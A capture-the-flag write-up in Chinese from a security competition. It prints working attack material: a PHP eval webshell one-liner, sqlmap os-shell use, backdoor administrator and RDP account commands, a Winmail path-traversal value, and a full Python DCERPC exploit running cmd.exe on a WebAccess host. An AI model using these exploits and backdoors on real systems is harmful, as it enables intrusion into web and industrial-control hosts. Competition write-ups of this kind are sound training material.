网络安全大赛记
前言
第三次参加网络安全比赛,回想第一次的各种场面,提交与结题完全就是一个小白系列,哈哈哈。事不过三,一次次的参加总会有好的结果,本次打到总分第8,因为刚开始结题太慢,附加题基本只是混点分。
Sign-in 1
查看流量包,过滤modbus协议,挨个的翻,去发现flag
Sign-in 2
notepad++只交打开,搜索S7comm,挨个ip提交试过去,发现flag IP
通过F12源码中发现目标是winmail 6.1,本版本存在一个普通用户上传getshell的漏洞,通过F12源码中发现测试号
通过修改ftpfolder值为“Ly4uLy4uL3dlYm1haWwvd3d3Lw==” 代表 “/…/…/webmail/www/”
通过IP访问webshell,在administrator目录下发现flag
Web
搜索框注入
sqlmap 直接拿 os-shell
python3.exe sqlmap.py -r e:\c.txt --os-shell
输入cmd命令生成webshell
echo ^<?php eval($_POST[“shell”]); ?^> >1.php
蚁剑连接 1.php, 上 cs 提权
net user a Abcd1234 /add
net localgroup administrators a /add
net localgroup "Remote Desktop Users" a /add
oa
存在一个通达OA任意用户登录漏洞,用poc可直接进后台
通过通达OA任意文件上传漏洞,本地文件包含漏洞
成功拿到shell,加入用户
mes
本题我们 RDP 在 web 的机器上做的,扫描后面的一个 C 段,发现 mes 的 IP 地址, 然后根据提示用 webaccess 的溢出漏洞打
#!/usr/bin/web
import sys, struct
from impacket import uuid
from impacket.dcerpc.v5 import transport
def call(dce, opcode, stubdata):
dce.call(opcode, stubdata)
res = -1
try:
res = dce.recv()
except Exception, e:
print "Exception encountered..." + str(e)
sys.exit(1)
return res
if len(sys.argv) != 2:
print "Provide only host arg"
sys.exit(1)
port = 4592
interface = "5d2b62aa-ee0a-4a95-91ae-b064fdb471fc"
version = "1.0"
host = sys.argv[1]
string_binding = "ncacn_ip_tcp:%s" % host
trans = transport.DCERPCTransportFactory(string_binding)
trans.set_dport(port)
dce = trans.get_dce_rpc()
dce.connect()
print "Binding..."
iid = uuid.uuidtup_to_bin((interface, version))
dce.bind(iid)
print "...1"
stubdata = struct.pack("<III", 0x00, 0xc351, 0x04)
call(dce, 2, stubdata)
print "...2"
stubdata = struct.pack("<I", 0x02)
res = call(dce, 4, stubdata)
if res == -1:
print "Something went wrong"
sys.exit(1)
res = struct.unpack("III", res)
if (len(res) < 3):
print "Received unexpected length value"
sys.exit(1)
print "...3"
# ioctl 0x2711
stubdata = struct.pack("<IIII", res[2], 0x2711, 0x204, 0x204)
command = "..\\..\\windows\\system32\\cmd.exe /c 命令"
#net user a Abcd1234 /add
#net localgroup administrators a /add
#net localgroup "Remote Desktop Users" a /add
fmt = "<" + str(0x204) + "s"
stubdata += struct.pack(fmt, command)
call(dce, 1, stubdata)
print "\nDid it work?"
dce.disconnect()
ics3
拿下 mes 这台后,他桌面上有个 rdp 的密码文件,直接上 goby 扫C段,发现 mes 同C段后面一位的机器开着 3389,直接连接
连接后 netstat -ano 查看主机连接,发现该主机连接另一台主机的 8080 口
访问发现是 openplc 管理页面,默认口令就是 openplc openplc
上传 st 文件后,在 用户那边看到有个 openplc@openplc.com ,尝试提交,成功
总结
希望下次更好!!!